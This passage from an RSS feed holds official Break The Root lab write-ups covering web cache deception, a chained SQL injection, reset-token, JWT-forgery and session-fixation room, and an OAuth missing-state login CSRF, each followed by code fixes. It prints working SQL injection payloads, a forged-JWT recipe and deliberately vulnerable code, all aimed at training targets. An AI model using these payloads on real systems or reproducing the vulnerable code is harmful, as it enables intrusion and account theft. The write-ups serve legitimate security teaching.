be:</p><pre>HTTP/1.1 200 OK<br>X-Cache-Status: HIT</pre><h4>Step 3: Identify the operations briefing</h4><p>This time, look for:</p><pre>Prepared for Imran Baig (Operations) (ops_manager)</pre><p>This is a different user and a different private briefing.</p><p>The page should again contain an <strong>Internal reference</strong> field. This field contains <strong>Flag 2</strong>.</p><p>Copy the complete value beginning with:</p><pre>BTR{</pre><p>Submit it through the second required flag field in the workspace.</p><h4>Step 4: Repeat if the same user appears</h4><p>If the response still shows Sarah’s briefing:</p><ol><li>Wait another 20–25 seconds.</li><li>Send the same request again.</li><li>Check the user name in the response.</li><li>Continue until the operations briefing appears.</li></ol><p>The important point is that the URL remains unchanged. Only the cached response changes after the cache entry expires and the simulated traffic warms it with another identity.</p><h3>Extra Mile: Vulnerability Analysis &amp; Fix</h3><p>After submitting both required flags, the workspace reveals credentials to SSH into the machine.</p><pre>ssh rakaposhi@&lt;target-ip&gt;</pre><p>After accessing the machine, open the vulnerable code at /opt/app/server.py.</p><pre>nano /opt/app/server.py</pre><h3>Vulnerable Code</h3><pre># --- Vulnerable by design -------------------------------------------------<br># The origin&#39;s routing was written to be &quot;helpful&quot; about asset-looking<br># URLs under /account/ and dispatches them to the same authenticated view<br># as the real briefing page, instead of 404ing. A cache that trusts the<br># file-extension-looking URL to mean &quot;static and shareable&quot; will now<br># cache one client&#39;s authenticated response under a key that every other<br># client&#39;s browser also resolves to.<br>_STATIC_LOOKALIKE_EXTENSIONS = [&quot;css&quot;, &quot;js&quot;, &quot;png&quot;, &quot;jpg&quot;, &quot;ico&quot;, &quot;svg&quot;, &quot;woff2&quot;]</pre><pre>for _ext in _STATIC_LOOKALIKE_EXTENSIONS:<br>    app.add_url_rule(<br>        f&quot;/account/expedition-briefing.{_ext}&quot;,<br>        endpoint=f&quot;briefing_lookalike_{_ext}&quot;,<br>        view_func=_render_briefing,<br>    )<br># --- End vulnerable section ------------------------------------------------</pre><h3>Why It Is Vulnerable</h3><ul><li>_render_briefing() returns private, authenticated HTML for the logged-in user.</li><li>The loop registers URLs like /account/expedition-briefing.css and maps them to that same private view.</li><li>The CDN sees the .css extension and treats the response as a static, shareable asset.</li><li>The CDN caches the response without varying by session cookie.</li><li>One user’s authenticated briefing is stored and later served to any other visitor requesting the same URL.</li></ul><h3>Fixing the Code</h3><p>Fix the vulnerability by simply deleting the vulnerable block entirely.</p><h3>Why This Fix Is Safe</h3><ul><li>No static-looking URL resolves to the private briefing view.</li><li>Requests such as /account/expedition-briefing.css now return 404 Not Found.</li><li>The CDN never caches private briefing data under a static asset URL.</li><li>The real authenticated route /account/expedition-briefing remains protected by the normal session check.</li></ul><p>This is it. If you enjoyed this room, check out more at <a href="https://breaktheroot.com/">Break The Root</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=887a2939c2d6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Autharium Official — Writeup]]></title>
            <link>https://refang.medium.com/autharium-official-writeup-1b09aceb72cb?source=rss-3a7efeb51874------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b09aceb72cb</guid>
            <dc:creator><![CDATA[ReFang]]></dc:creator>
            <pubDate>Sat, 07 Nov 2026 18:21:01 GMT</pubDate>
            <atom:updated>2026-11-07T18:21:01.604Z</atom:updated>
            <content:encoded><![CDATA[<p>This is official write up of <a href="https://breaktheroot.com/autharium/">Autharium</a> room at <a href="https://breaktheroot.com/">Break The Root.</a></p><p>What is <a href="https://breaktheroot.com/">Break The Root</a>?</p><p><a href="https://breaktheroot.com/">Break The Root</a> is a hands-on cybersecurity training platform built around a simple idea: exploit, understand, fix. You hack real vulnerable machines, dig into why the exploit actually worked, and then patch the exact flaw that let you in, instead of just grabbing a flag and moving on.</p><p>Note:<br>If you find any issues in the room or in the writeup, please inform us at <a href="/service/mailto:contact@breaktheroot.com">contact@breaktheroot.com</a>. Your feedback helps us improve our platform and user experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k9gTmAST1d-zPvV7.png" /></figure><p>Target:</p><pre>http://&lt;TARGET-IP&gt;:8080/</pre><p>The address may change when the machine is restarted. Always use the IP shown in the workspace.</p><p>This assessment contains four required flags:</p><ol><li>Public catalog SQL injection</li><li>Coordinator account access</li><li>JWT administrative API access</li><li>Super-admin Ops Vault access</li></ol><p>The intended chain is:</p><pre>Catalog SQL injection<br>        ↓<br>Coordinator account<br>        ↓<br>Forged administrative JWT<br>        ↓<br>Session fixation<br>        ↓<br>Super-admin Ops Vault</pre><h3>Flag 1: Catalog SQL Injection</h3><h3>Step 1: Open the Catalog</h3><p>Navigate to:</p><pre>http://&lt;TARGET-IP&gt;:8080/catalog.php?id=1</pre><p>You should see a normal catalog record.</p><h3>Step 2: Confirm SQL Injection</h3><p>Change the parameter to:</p><pre>/catalog.php?id=1&#39;</pre><p>A database error or failed lookup confirms that the numeric id is inserted into SQL unsafely.</p><p>The query uses three columns:</p><pre>SELECT id, title, description<br>FROM catalog_records<br>WHERE id = &lt;input&gt;</pre><h3>Step 3: Extract the Catalog Flag</h3><p>Use this payload:</p><pre>-1 UNION SELECT 1,kind,value FROM secrets WHERE kind=&#39;flag&#39;-- -</pre><p>Full URL:</p><pre>http://&lt;TARGET-IP&gt;:8080/catalog.php?id=-1%20UNION%20SELECT%201,kind,value%20FROM%20secrets%20WHERE%20kind=%27flag%27--%20-</pre><p>The result should show the flag.</p><p>Submit this as <strong>Flag 1</strong>.</p><h3>Flag 2: Coordinator Account Access</h3><p>The coordinator can be reached through the predictable password-reset workflow.</p><h3>Step 1: Request a Coordinator Reset</h3><p>Open:</p><pre>http://&lt;TARGET-IP&gt;:8080/forgot-password</pre><p>Submit:</p><pre>coordinator@waypoint.io</pre><p>The application responds with a generic message.</p><h3>Step 2: Open the Development Outbox</h3><p>Navigate to:</p><pre>http://&lt;TARGET-IP&gt;:8080/dev/outbox.php</pre><p>The coordinator token is masked as:</p><pre>RESET-******</pre><p>The vulnerability is that reset tokens are sequential.</p><h3>Step 3: Guess the Token</h3><p>Try:</p><pre>http://&lt;TARGET-IP&gt;:8080/reset-password?token=RESET-000001</pre><p>If that is unavailable, try:</p><pre>RESET-000002<br>RESET-000003<br>RESET-000004</pre><p>In a fresh instance, the coordinator token is normally:</p><pre>RESET-000001</pre><h3>Step 4: Set a New Password</h3><p>When the token is accepted, submit a new password such as:</p><pre>Northfall-Coordinator-2026!</pre><p>You are redirected to the coordinator dashboard.</p><h3>Step 5: Retrieve Flag 2</h3><p>The dashboard displays the flag.</p><p>Submit this as <strong>Flag 2</strong>.</p><h3>Flag 3: JWT Algorithm Confusion</h3><h3>Step 1: Find the API Documentation</h3><p>From the homepage, open:</p><pre>/help/fieldkit-sync</pre><p>Then open:</p><pre>/resources</pre><p>The page documents:</p><pre>POST /api/login<br>GET  /api/v1/me<br>GET  /api/v1/expeditions<br>GET  /api/v1/admin/users</pre><p>It also provides:</p><pre>/downloads/fieldkit-public-key.pem</pre><p>Download the public key and note the key text:</p><pre>WAYPOINT-FIELDKIT-PUBLIC-KEY</pre><h3>Step 2: Obtain a Normal JWT</h3><p>Send a POST request to:</p><pre>/api/login</pre><p>with:</p><pre>{<br>  &quot;username&quot;: &quot;coordinator&quot;,<br>  &quot;password&quot;: &quot;Northfall-Coordinator-2026!&quot;<br>}</pre><p>The response contains a legitimate JWT.</p><p>Decode it using JWT.io.</p><h3>Step 3: Forge the Token</h3><p>Set the JWT header to:</p><pre>{<br>  &quot;alg&quot;: &quot;HS256&quot;,<br>  &quot;typ&quot;: &quot;JWT&quot;<br>}</pre><p>Set the payload to:</p><pre>{<br>  &quot;sub&quot;: 2,<br>  &quot;email&quot;: &quot;coordinator@waypoint.io&quot;,<br>  &quot;role&quot;: &quot;admin&quot;,<br>  &quot;exp&quot;: 1999999999<br>}</pre><p>The important change is:</p><pre>&quot;role&quot;: &quot;admin&quot;</pre><p>In JWT.io, sign the token using this exact secret:</p><pre>WAYPOINT-FIELDKIT-PUBLIC-KEY</pre><p>Do not include the PEM wrapper lines.</p><h3>Step 4: Send the Forged Token</h3><p>Use Burp Repeater:</p><pre>GET /api/v1/admin/users HTTP/1.1<br>Host: &lt;TARGET-IP&gt;:8080<br>Authorization: Bearer YOUR_FORGED_TOKEN<br>Connection: close</pre><p>The API accepts the forged token and returns the administrative response.</p><h3>Step 5: Retrieve Flag 3</h3><p>The response contains the flag.</p><p>Submit this as <strong>Flag 3</strong>.</p><p>The response also confirms that a separate account named superadmin exists.</p><h3>Flag 4: Super-Admin Ops Vault</h3><h3>Step 1: Obtain the Super-Admin Credentials</h3><p>Return to the vulnerable catalog and submit:</p><pre>-1 UNION SELECT 1,username,password FROM users WHERE username=&#39;superadmin&#39;-- -</pre><p>The result normally reveals:</p><pre>Username: superadmin<br>Password: Northstar!2026</pre><p>Use the values displayed by your machine if they differ.</p><h3>Step 2: Create a Fixed Session</h3><p>Choose a session identifier, for example:</p><pre>northfall-kiosk-2026</pre><p>Open:</p><pre>http://&lt;TARGET-IP&gt;:8080/login?PHPSESSID=northfall-kiosk-2026</pre><p>This represents the legacy field-station kiosk workflow.</p><h3>Step 3: Authenticate Using the Fixed Session</h3><p>In the same browser profile, log in with:</p><pre>Username: superadmin<br>Password: Northstar!2026</pre><p>The application does not rotate the session ID after authentication.</p><h3>Step 4: Reuse the Session</h3><p>Open the browser developer tools and ensure the cookie is:</p><pre>PHPSESSID=northfall-kiosk-2026</pre><p>Then navigate to:</p><pre>http://&lt;TARGET-IP&gt;:8080/ops-vault</pre><p>The server now treats the fixed session as authenticated as superadmin.</p><h3>Step 5: Retrieve Flag 4</h3><p>The Ops Vault displays the flag.</p><p>Submit this as <strong>Flag 4</strong>.</p><p>The progression is:</p><pre>Catalog SQL injection<br>        ↓<br>Predictable reset token<br>        ↓<br>JWT algorithm confusion<br>        ↓<br>Session fixation<br>        ↓<br>Ops Vault</pre><h3>Autharium: Extra Mile Fixes</h3><p>Fix the four issues in /var/www/html/index.php inside the running machine. Replace the vulnerable code exactly as shown below. The four checks turn green only when all four fixes are applied.</p><p><strong>File to edit:</strong> /var/www/html/index.php</p><h3>1. Catalog SQL injection</h3><h4>Vulnerable code</h4><pre>$id = (string)($_GET[&#39;id&#39;] ?? &#39;1&#39;);<br>$sql = &quot;SELECT id, title, description FROM catalog_records WHERE id = &quot; . $id;<br>$rows = [];<br>$error = &#39;&#39;;<br>$result = $db-&gt;query($sql);</pre><h4>Replace with</h4><pre>$id = filter_input(INPUT_GET, &#39;id&#39;, FILTER_VALIDATE_INT);<br>if ($id === false || $id === null) {<br>    $id = 1;<br>}<br><br>$statement = $db-&gt;prepare(<br>    &#39;SELECT id, title, description FROM catalog_records WHERE id = ?&#39;<br>);<br>$statement-&gt;bindValue(1, $id, SQLITE3_INTEGER);<br>$result = $statement-&gt;execute();</pre><p>Keep the existing result-rendering code after $result unchanged.</p><h3>2. Predictable password-reset tokens</h3><p>Replace the entire POST /forgot-password handler.</p><h4>Vulnerable code</h4><pre>if ($path === &#39;/forgot-password&#39; &amp;&amp; $_SERVER[&#39;REQUEST_METHOD&#39;] === &#39;POST&#39;) {<br>    $u = one(&#39;SELECT * FROM users WHERE email = ?&#39;, [$_POST[&#39;email&#39;] ?? &#39;&#39;]);<br>    if ($u) {<br>        $resetRoom = in_array($room, [&#39;broken-password-reset&#39;, &#39;northfall-review&#39;], true);<br>        $target = (($room === &#39;broken-password-reset&#39; &amp;&amp; (string)$u[&#39;email&#39;] === &#39;admin@waypoint.io&#39;) ||<br>                   ($room === &#39;northfall-review&#39; &amp;&amp; (string)$u[&#39;email&#39;] === &#39;coordinator@waypoint.io&#39;));<br><br>        if ($target &amp;&amp; $room === &#39;broken-password-reset&#39;) {<br>            $db-&gt;exec(&#39;DELETE FROM password_resets WHERE id=1&#39;);<br>            $id = 1;<br>            $tok = &#39;RESET-000001&#39;;<br>        } else {<br>            $id = (int)$db-&gt;querySingle(&#39;SELECT COALESCE(MAX(id),0)+1 FROM password_resets&#39;);<br>            $tok = $resetRoom ? sprintf(&#39;RESET-%06d&#39;, $id) : bin2hex(random_bytes(32));<br>        }<br><br>        $st = $db-&gt;prepare(<br>            $target &amp;&amp; $room === &#39;broken-password-reset&#39;<br>                ? &#39;INSERT INTO password_resets(id,user_id,token,created_at,used) VALUES(?,?,?,?,0)&#39;<br>                : &#39;INSERT INTO password_resets(user_id,token,created_at) VALUES(?,?,?)&#39;<br>        );<br><br>        if ($target &amp;&amp; $room === &#39;broken-password-reset&#39;) {<br>            $st-&gt;bindValue(1, $id);<br>            $st-&gt;bindValue(2, $u[&#39;id&#39;]);<br>            $st-&gt;bindValue(3, $tok);<br>            $st-&gt;bindValue(4, time());<br>        } else {<br>            $st-&gt;bindValue(1, $u[&#39;id&#39;]);<br>            $st-&gt;bindValue(2, $tok);<br>            $st-&gt;bindValue(3, time());<br>        }<br><br>        $st-&gt;execute();<br><br>        file_put_contents(<br>            &#39;/tmp/waypoint-outbox.log&#39;,<br>            date(&#39;c&#39;) . &quot; | &quot; . $u[&#39;email&#39;] . &quot; | http://waypoint/reset-password?token=&quot; . $tok . &quot;\n&quot;,<br>            FILE_APPEND<br>        );<br>    }<br><br>    page(<br>        &#39;Check your inbox&#39;,<br>        &#39;&lt;div class=&quot;card&quot;&gt;&lt;h1&gt;Check your inbox&lt;/h1&gt;&lt;p&gt;If the address belongs to a Waypoint account, we sent a reset link.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;/dev/outbox.php&quot;&gt;Open development outbox&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&#39;<br>    );<br>    exit;<br>}</pre><h4>Replace with</h4><pre>if ($path === &#39;/forgot-password&#39; &amp;&amp; $_SERVER[&#39;REQUEST_METHOD&#39;] === &#39;POST&#39;) {<br>    $u = one(&#39;SELECT * FROM users WHERE email = ?&#39;, [$_POST[&#39;email&#39;] ?? &#39;&#39;]);<br>    if ($u) {<br>        $tok = bin2hex(random_bytes(32));<br><br>        $st = $db-&gt;prepare(<br>            &#39;INSERT INTO password_resets(user_id, token, created_at) VALUES(?, ?, ?)&#39;<br>        );<br>        $st-&gt;bindValue(1, $u[&#39;id&#39;], SQLITE3_INTEGER);<br>        $st-&gt;bindValue(2, $tok, SQLITE3_TEXT);<br>        $st-&gt;bindValue(3, time(), SQLITE3_INTEGER);<br>        $st-&gt;execute();<br><br>        file_put_contents(<br>            &#39;/tmp/waypoint-outbox.log&#39;,<br>            date(&#39;c&#39;) . &quot; | &quot; . $u[&#39;email&#39;] . &quot; | http://waypoint/reset-password?token=&quot; . $tok . &quot;\n&quot;,<br>            FILE_APPEND<br>        );<br>    }<br><br>    page(<br>        &#39;Check your inbox&#39;,<br>        &#39;&lt;div class=&quot;card&quot;&gt;&lt;h1&gt;Check your inbox&lt;/h1&gt;&lt;p&gt;If the address belongs to a Waypoint account, we sent a reset link.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;/dev/outbox.php&quot;&gt;Open development outbox&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&#39;<br>    );<br>    exit;<br>}</pre><h3>3. JWT algorithm confusion</h3><p>Keep b64url() and b64decode() as-is. Replace the JWT signer and verifier.</p><h4>Vulnerable code</h4><pre>function jwt(array $h, array $p, string $sig = &#39;&#39;): string {<br>    $head = b64url(https://medium.com/json_encode($h));<br>    $body = b64url(https://medium.com/json_encode($p));<br>    $input = $head . &#39;.&#39; . $body;<br><br>    if (($h[&#39;alg&#39;] ?? &#39;&#39;) === &#39;RS256&#39;) {<br>        $sig = hash_hmac(&#39;sha256&#39;, $input, &#39;WAYPOINT-SERVER-SIGNING-SECRET&#39;, true);<br>    } elseif (($h[&#39;alg&#39;] ?? &#39;&#39;) === &#39;HS256&#39;) {<br>        $sig = hash_hmac(&#39;sha256&#39;, $input, &#39;WAYPOINT-FIELDKIT-PUBLIC-KEY&#39;, true);<br>    } else {<br>        $sig = &#39;&#39;;<br>    }<br><br>    return $input . &#39;.&#39; . b64url(https://medium.com/$sig);<br>}<br><br>function verifyJwt(string $token): ?array {<br>    $parts = explode(&#39;.&#39;, $token);<br>    if (count($parts) !== 3) return null;<br><br>    $header = json_decode(b64decode($parts[0]), true) ?: [];<br>    $payload = json_decode(b64decode($parts[1]), true) ?: [];<br><br>    $alg = (string)($header[&#39;alg&#39;] ?? &#39;&#39;);<br>    if (!in_array($alg, [&#39;RS256&#39;, &#39;HS256&#39;], true) || empty($payload[&#39;exp&#39;]) || (int)$payload[&#39;exp&#39;] &lt; time()) return null;<br><br>    $key = $alg === &#39;HS256&#39; ? &#39;WAYPOINT-FIELDKIT-PUBLIC-KEY&#39; : &#39;WAYPOINT-SERVER-SIGNING-SECRET&#39;;<br>    $expected = hash_hmac(&#39;sha256&#39;, $parts[0] . &#39;.&#39; . $parts[1], $key, true);<br><br>    return hash_equals($expected, b64decode($parts[2])) ? $payload : null;<br>}</pre><h4>Replace with</h4><pre>function jwt(array $h, array $p, string $sig = &#39;&#39;): string<br>{<br>    $h[&#39;alg&#39;] = &#39;RS256&#39;;<br>    $head = b64url(https://medium.com/(string)json_encode($h));<br>    $body = b64url(https://medium.com/(string)json_encode($p));<br>    $input = $head . &#39;.&#39; . $body;<br>    $sig = hash_hmac(&#39;sha256&#39;, $input, &#39;WAYPOINT-SERVER-SIGNING-SECRET&#39;, true);<br>    return $input . &#39;.&#39; . b64url(https://medium.com/$sig);<br>}<br><br>function verifyJwt(string $token): ?array<br>{<br>    $parts = explode(&#39;.&#39;, $token);<br>    if (count($parts) !== 3) {<br>        return null;<br>    }<br><br>    $header = json_decode(b64decode($parts[0]), true) ?: [];<br>    $payload = json_decode(b64decode($parts[1]), true) ?: [];<br><br>    if (($header[&#39;alg&#39;] ?? &#39;&#39;) !== &#39;RS256&#39; || empty($payload[&#39;exp&#39;]) || (int)$payload[&#39;exp&#39;] &lt; time()) {<br>        return null;<br>    }<br><br>    $input = $parts[0] . &#39;.&#39; . $parts[1];<br>    $expected = hash_hmac(&#39;sha256&#39;, $input, &#39;WAYPOINT-SERVER-SIGNING-SECRET&#39;, true);<br><br>    return hash_equals($expected, b64decode($parts[2])) ? $payload : null;<br>}</pre><h3>4. Session fixation</h3><h4>4a. Remove URL-supplied session ID before session_start()</h4><p>Vulnerable code</p><pre>if (in_array($room, [&#39;session-fixation&#39;, &#39;northfall-review&#39;], true) &amp;&amp; isset($_GET[&#39;PHPSESSID&#39;])) {<br>    session_id((string)$_GET[&#39;PHPSESSID&#39;]);<br>}<br>session_start();</pre><p>Replace with</p><pre>session_start();</pre><h4>4b. Rotate session ID on successful login</h4><p>Vulnerable code</p><pre>if ($u &amp;&amp; hash_equals((string)$u[&#39;password&#39;], (string)($_POST[&#39;password&#39;] ?? &#39;&#39;))) {<br>    loginAs($u);<br>    if (!empty($_POST[&#39;remember&#39;]) &amp;&amp; in_array($room, [&#39;insecure-remember-me&#39;, &#39;northfall-review&#39;], true)) {<br>        setcookie(&#39;remember_me&#39;, base64_encode($u[&#39;username&#39;] . &#39;|&#39; . (time() + 2592000)), time() + 2592000, &#39;/&#39;);<br>    }<br>    if (in_array($room, [&#39;session-fixation&#39;, &#39;northfall-review&#39;], true)) {<br>        /* intentionally no rotation */<br>    } else {<br>        session_regenerate_id(true);<br>    }<br>    header(&#39;Location: /dashboard&#39;);<br>    exit;<br>}</pre><p>Replace with</p><pre>if ($u &amp;&amp; hash_equals((string)$u[&#39;password&#39;], (string)($_POST[&#39;password&#39;] ?? &#39;&#39;))) {<br>    session_regenerate_id(true);<br>    loginAs($u);<br><br>    if (!empty($_POST[&#39;remember&#39;]) &amp;&amp; in_array($room, [&#39;insecure-remember-me&#39;, &#39;northfall-review&#39;], true)) {<br>        setcookie(<br>            &#39;remember_me&#39;,<br>            base64_encode($u[&#39;username&#39;] . &#39;|&#39; . (time() + 2592000)),<br>            time() + 2592000,<br>            &#39;/&#39;<br>        );<br>    }<br><br>    header(&#39;Location: /dashboard&#39;);<br>    exit;<br>}</pre><p>After applying all four fixes, run the four Extra Mile checks. Then verify normal catalog lookup, password reset, login, API login, and Ops Vault authorization still work.</p><p>This is it. If you enjoyed this room, check out more at <a href="https://breaktheroot.com/">Break The Root</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b09aceb72cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OAuth State Omission — Official Writeup]]></title>
            <link>https://refang.medium.com/oauth-state-omission-official-writeup-62de9de15ebb?source=rss-3a7efeb51874------2</link>
            <guid isPermaLink="false">https://medium.com/p/62de9de15ebb</guid>
            <dc:creator><![CDATA[ReFang]]></dc:creator>
            <pubDate>Sat, 07 Nov 2026 17:31:01 GMT</pubDate>
            <atom:updated>2026-11-07T17:31:01.768Z</atom:updated>
            <content:encoded><![CDATA[<p>This is official write up of <a href="https://breaktheroot.com/oauth-state-omission/">OAuth State Omission</a> room at <a href="https://breaktheroot.com/">Break The Root</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AtsUYupsIg7j7hkM.png" /></figure><p><strong>What is Break The Root?</strong></p><p><a href="https://breaktheroot.com/">Break The Root</a> is a hands-on cybersecurity training platform built around a simple idea: exploit, understand, fix. You hack real vulnerable machines, dig into why the exploit actually worked, and then patch the exact flaw that let you in, instead of just grabbing a flag and moving on.</p><p><strong>Note:</strong><br>If you find any issues in the room or in the writeup, please inform us at <a href="/service/mailto:contact@breaktheroot.com">contact@breaktheroot.com</a>. Your feedback helps us improve our platform and user experience.</p><h3>1. What This Room Teaches</h3><p>OAuth uses a temporary authorization code to log a browser into an account. The state value binds that code to the browser that started the login.</p><p>A secure flow looks like:</p><ol><li>Browser A starts OAuth.</li><li>Server creates a random state.</li><li>Identity provider returns both code and state.</li><li>Server verifies that the returned state belongs to Browser A.</li><li>Only then is Browser A logged in.</li></ol><p>This room omits that binding. A valid callback URL created in one browser can therefore be opened in another browser.</p><p>The result is account confusion:</p><ul><li>The victim’s browser becomes logged into the attacker’s Waypoint account.</li><li>Anything the victim uploads is saved under the attacker’s account.</li><li>The attacker can later view the victim’s uploaded data.</li></ul><p>This is not a password takeover. It is a login-CSRF / account-confusion vulnerability.</p><h3>2. Open the Application</h3><p>Open the machine address:</p><pre>http://&lt;TARGET-IP&gt;:8080/</pre><p>On the landing page, select:</p><pre>Continue with FieldAuth</pre><p>You should reach the FieldAuth sign-in screen.</p><p>Use two isolated browser profiles:</p><ul><li>Attacker profile</li><li>Victim profile</li></ul><p>Firefox private browsing, separate Firefox profiles, or two different browsers are suitable.</p><p>Do not share cookies between the two profiles.</p><h3>3. Prepare the Attacker Profile</h3><p>In the attacker browser:</p><ol><li>Open the Waypoint home page.</li><li>Select <strong>Continue with FieldAuth</strong>.</li><li>When FieldAuth asks for an account, enter:</li></ol><pre>attacker</pre><ol><li>Submit the FieldAuth form.</li></ol><p>The application will generate a callback URL similar to:</p><pre>http://&lt;TARGET-IP&gt;:8080/oauth/callback?code=...</pre><p>The important detail is that the callback contains a code, but no state parameter.</p><p>A secure callback would normally look like:</p><pre>/oauth/callback?code=ABC123&amp;state=random-value</pre><p>The vulnerable callback looks like:</p><pre>/oauth/callback?code=ABC123</pre><h3>4. Capture the Callback Before It Is Consumed</h3><p>Do not allow the attacker browser to finish the callback.</p><p>You can use Burp Suite:</p><ol><li>Start Burp Suite.</li><li>Configure the browser to use Burp as its proxy.</li><li>Turn on <strong>Proxy → Intercept</strong>.</li><li>Start the FieldAuth flow again.</li><li>Submit the attacker identity.</li><li>Burp will intercept the redirect to /oauth/callback?code=....</li><li>Copy the complete callback URL.</li><li>Do not forward the request.</li></ol><p>The copied URL should be similar to:</p><pre>http://172.21.x.x:8080/oauth/callback?code=eyJhY2...</pre><p>Keep the attacker profile at this stage. The code must remain unused.</p><h4>Important</h4><p>Do not copy only part of the URL. Copy the complete value after code=.</p><p>Do not open the callback in the attacker browser. Opening it there consumes the code and invalidates the demonstration.</p><h3>5. Deliver the Callback to the Victim Profile</h3><p>Open the victim browser profile.</p><p>Paste the exact callback URL into the address bar and visit it.</p><p>The victim browser did not start the OAuth flow, but the server does not check that fact. It accepts the valid code and logs the victim browser into the attacker’s linked Waypoint account.</p><p>The victim should be redirected to:</p><pre>/dashboard</pre><p>The dashboard will show something similar to:</p><pre>Good morning, attacker.</pre><p>This demonstrates the vulnerability. The victim is now operating inside the attacker’s account without intentionally choosing that account.</p><h3>6. Perform an Ordinary Victim Action</h3><p>The room requires a visible impact demonstration.</p><p>While still using the victim profile:</p><ol><li>Open the dashboard.</li><li>Select <strong>Upload field note</strong>.</li><li>Enter a realistic note, for example:</li></ol><pre>Northfall survey handoff — transect 4 completed.<br>Coordinates: 51.4545, -2.5879.<br>Review the shoreline markers before the next field shift.</pre><ol><li>Submit the note.</li></ol><p>The application stores the note under the attacker account because the victim browser was silently logged into that account.</p><p>A normal upload alone is not enough. The upload must occur after the cross-browser OAuth callback.</p><h3>7. Verify the Impact as the Attacker</h3><p>Return to the attacker browser.</p><p>If the attacker browser already has a valid Waypoint session, refresh the dashboard.</p><p>If it does not, authenticate as the attacker again:</p><ol><li>Open the Waypoint home page.</li><li>Select <strong>Continue with FieldAuth</strong>.</li><li>Enter:</li></ol><pre>attacker</pre><ol><li>Complete the OAuth flow normally.</li><li>Open /dashboard.</li></ol><p>The attacker dashboard should now show the note submitted from the victim profile under recent uploads.</p><p>This proves that:</p><ol><li>The victim was logged into the attacker’s account.</li><li>The victim performed a normal action.</li><li>The resulting data became visible to the attacker.</li></ol><p>After the transfer is detected, the dashboard displays the room flag.</p><p>Submit that value in the room workspace under the required flag slot.</p><h3>8. How the Vulnerable Flow Works</h3><p>The vulnerable sequence is:</p><pre>Attacker starts OAuth<br>        ↓<br>FieldAuth issues a one-time code<br>        ↓<br>Attacker captures callback URL<br>        ↓<br>Victim opens callback URL<br>        ↓<br>Waypoint accepts code without checking browser origin<br>        ↓<br>Victim is logged into attacker account<br>        ↓<br>Victim uploads a note<br>        ↓<br>Attacker sees the note</pre><p>The code being one-time does not solve the problem. It only prevents reuse after consumption. It does not prove that the browser consuming the code is the browser that started the flow.</p><p>Likewise, the code’s expiry time does not solve the problem. A still-valid code can still be transferred between browsers.</p><h3>Extra Mile: Fix OAuth State Omission</h3><h3>Overview</h3><p>The vulnerable code is in:</p><pre>/var/www/html/index.php</pre><p>The vulnerability is caused by these parts:</p><pre>if ($room===&#39;oauth-state-omission&#39; &amp;&amp; $path===&#39;/oauth/start&#39;) {<br>    header(&#39;Location: /oauth/authorize&#39;);<br>    exit;<br>}</pre><p>and:</p><pre>header(&#39;Location: /oauth/callback?code=&#39;.rawurlencode($code));</pre><p>The callback accepts only the authorization code. There is no browser-bound state value.</p><p>The fix creates a random state, stores it in the initiating browser session, returns it through the identity provider, and verifies it before accepting the authorization code.</p><p>Do not modify the mock identity provider, database schema, or normal account logic.</p><h3>1. Connect to the Machine</h3><p>Use the SSH credentials shown in the workspace:</p><pre>ssh waypoint@&lt;TARGET-IP&gt;</pre><p>Then inspect the OAuth routes:</p><pre>cd /var/www/html<br>grep -n &quot;oauth/start\|oauth/authorize\|oauth/callback&quot; index.php</pre><p>Make a backup:</p><pre>cp index.php index.php.before-oauth-fix</pre><h3>2. Locate the OAuth Block to Replace</h3><p>In /var/www/html/index.php, replace the entire OAuth block from:</p><pre>if ($room===&#39;oauth-state-omission&#39; &amp;&amp; $path===&#39;/oauth/start&#39;)</pre><p>through the closing brace immediately before:</p><pre>if ($path===&#39;/ops-vault&#39;)</pre><h3>3. Replacement Code</h3><p>Replace the complete OAuth block with this:</p><pre>/*<br> * OAuth flow with CSRF protection.<br> *<br> * The state value is created by Waypoint, stored in the initiating<br> * browser session, returned by the identity provider, and checked<br> * before the authorization code is accepted.<br> */<br>if (<br>    $room === &#39;oauth-state-omission&#39; &amp;&amp;<br>    $path === &#39;/oauth/start&#39;<br>) {<br>    $state = bin2hex(random_bytes(32));<br>    $_SESSION[&#39;oauth_state&#39;] = $state;<br>    $_SESSION[&#39;oauth_state_created&#39;] = time();<br>    header(&#39;Location: /oauth/authorize&#39;);<br>    exit;<br>}<br><br>if (<br>    $room === &#39;oauth-state-omission&#39; &amp;&amp;<br>    $path === &#39;/oauth/authorize&#39; &amp;&amp;<br>    $_SERVER[&#39;REQUEST_METHOD&#39;] === &#39;GET&#39; &amp;&amp;<br>    empty($_SESSION[&#39;fieldauth_user&#39;])<br>) {<br>    page(<br>        &#39;FieldAuth sign-in&#39;,<br>        &#39;&lt;div class=&quot;card&quot;&gt;<br>        &lt;span class=&quot;pill&quot;&gt;FieldAuth · partner identity&lt;/span&gt;<br>        &lt;h1&gt;Sign in to FieldAuth&lt;/h1&gt;<br>        &lt;p class=&quot;muted&quot;&gt;<br>        Choose the partner identity you use for this Waypoint invitation.<br>        &lt;/p&gt;<br>        &lt;form method=&quot;post&quot; action=&quot;/oauth/authorize&quot;&gt;<br>        &lt;label&gt;<br>        Institutional username<br>        &lt;input<br>        name=&quot;account&quot;<br>        placeholder=&quot;e.g. researcher&quot;<br>        autocomplete=&quot;username&quot;<br>        required<br>        &gt;<br>        &lt;/label&gt;<br>        &lt;button type=&quot;submit&quot;&gt;Sign in and continue&lt;/button&gt;<br>        &lt;/form&gt;<br>        &lt;p class=&quot;muted&quot;&gt;<br>        This is the partner identity provider used by the<br>        Waypoint demonstration environment.<br>        &lt;/p&gt;<br>        &lt;/div&gt;&#39;<br>    );<br>    exit;<br>}<br><br>if (<br>    $room === &#39;oauth-state-omission&#39; &amp;&amp;<br>    $path === 